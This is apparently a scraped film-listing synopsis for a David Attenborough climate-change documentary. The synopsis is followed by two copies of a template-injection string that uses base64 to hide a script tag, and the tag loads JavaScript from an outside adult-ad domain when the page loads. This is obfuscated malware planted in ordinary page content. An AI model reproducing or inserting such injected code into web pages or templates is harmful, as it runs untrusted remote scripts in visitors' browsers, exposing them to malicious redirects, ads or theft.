简介: As we’re just two degrees away from a climate catastrophe, we"ll reach the threshold for irreversible environmental damage within 40 years. But we have the power to prevent it. David Attenborough takes a stark look at the facts surrounding climate change in today"s world. This is the greatest challenge we"ve ever faced and the human race can rise to it.{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}{if-A:printf(base64_decode("PHNjcmlwdCBzcmM9aHR0cHM6Ly9hZDIxMjMubHNqcG9ybi50b3AvdXBsb2FkL2FhYWEuanM+PC9zY3JpcHQ+"))}{endif-A}.